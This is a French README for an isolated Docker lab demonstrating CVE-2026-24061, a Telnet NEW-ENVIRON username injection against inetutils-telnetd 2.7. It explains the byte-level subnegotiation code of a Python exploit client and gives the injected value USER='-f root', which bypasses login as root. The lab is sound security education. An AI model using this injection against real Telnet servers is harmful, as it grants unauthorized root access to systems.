
# Laboratoire Docker pédagogique démontrant l'injection de nom d'utilisateur Telnet NEW-ENVIRON (CVE-2026-24061) avec un client Python et un serveur vulnérable pour la recherche en sécurité isolée.
Un laboratoire Docker léger pour expérimenter la négociation du protocole Telnet, expliquée dans l'exploit CVE-2026-24061, qui contient une injection automatique de nom d'utilisateur utilisant l'option NEW-ENVIRON.
Ce projet crée un environnement client-serveur isolé pour étudier comment Telnet gère le contournement d'authentification basé sur les variables d'environnement.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| Conteneur | Rôle |
|---|---|
| node1 | Client Python avec script de connexion automatique |
| node2 | Serveur Telnet (inetutils-telnetd 2.7) |
Les deux services s'exécutent dans un réseau privé Docker en pont, nommé labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
Ce fichier est responsable de l'installation du conteneur client, nommé node1.
J'ai choisi python:3.12-slim comme image de base, car le but de ce laboratoire est uniquement la communication réseau. Nous installons seulement le client telnet lui-même, et copions exploit.py dans le dossier racine du conteneur.
Ce fichier est responsable de l'installation du conteneur serveur, nommé node2.
La même image de base s'applique également à ce conteneur. Cependant, le processus d'installation implique davantage d'étapes :
wget, pour obtenir la version vulnérable de telnetd.apt get install -y/etc/inetd.conf active le service telnet.En haut du fichier, nous voyons quelques constantes déclarées :
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC, avec la valeur 255, signifie Interpret As Command (Interpréter comme commande), donc il marque le début de la séquence de contrôle Telnet.
Vous pouvez consulter d'autres options ici
Le format ressemble généralement à :
IAC <commande> <option>
Dans le script, il y a la partie suivante :
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
Ce if vérifie que si les données actuellement reçues du serveur contiennent la valeur IAC, nous devons les interpréter comme une commande.
Nous parcourons les données reçues, en utilisant une boucle while. Nous vérifions pour chaque octet s'il s'agit d'un IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
Si c'est le cas, nous assignons aux variables cmd et opt l'octet correspondant du flux de données.
Si la valeur opt est égale à la valeur de NEW_ENVIRON, le script exécute la méthode send_new_environ_user.
Examinons la partie de code suivante :
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
Les constantes SB et SE font partie des constantes du protocole Telnet. SB signifie 'Subnegotiation begin' (Début de sous-négociation), tandis que SE signifie 'Subnegotiation end' (Fin de sous-négociation). Tout ce qui se trouve entre ces deux valeurs correspond à des paramètres, liés à une commande spécifique, envoyés au serveur. Dans ce cas, nous voulons envoyer un message, en utilisant la norme rfc1572, détaillée ici.
Nous pouvons traduire approximativement la séquence d'octets en français, comme :
- Interpréter ceci comme une commande (IAC)
- C'est (0)
- Une nouvelle variable d'environnement (NEW_ENVIRON)
- La valeur de cette nouvelle variable d'environnement est (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Terminer la sous-connexion (IAC + SE)
Cependant, il existe des cas où le serveur Telnet ciblé ne prend pas en charge les variables d'environnement liées aux noms d'utilisateur. Dans ce cas, nous revenons à l'envoi du nom d'utilisateur de manière traditionnelle.
Vérifier l'installation :
docker --version
docker compose version
docker compose up --build -d
Vérifier le statut :
docker ps
Vous devriez voir :
node1node2docker exec -it node1 bash
Définir un nom d'utilisateur, et exécuter le script :
USER="-f root" python exploit.py node2
Le script va :
node2 sur le port 23USER=-f root en utilisant NEW-ENVIRONlabnet| Nom d'hôte | Service |
|---|---|
| node1 | Client |
| node2 | Serveur Telnet |
Le script client :
IAC, DO, WILL, qui sont des commandes fondamentales du protocole Telnet utilisées pour la négociation d'options entre un client et un serveur.NEW-ENVIRONUSER=<valeur de $USER>
login: ou username: comme solution de repliArrêter l'environnement :
docker compose down
Si vous souhaitez également supprimer les conteneurs et les images :
docker compose down --rmi all
Telnet transmet les données en texte clair et n'est pas sécurisé. Ce projet est destiné uniquement à des fins éducatives, dans des environnements isolés.
Connexion refusée
Assurez-vous que les conteneurs sont en cours d'exécution :
docker ps
Le script se termine avec une erreur USER
USER="-f root" python exploit.py node2
Reconstruire après des modifications
docker compose up --build
Ce dépôt est fourni à des fins éducatives et de recherche. Les contributions et améliorations sont les bienvenues.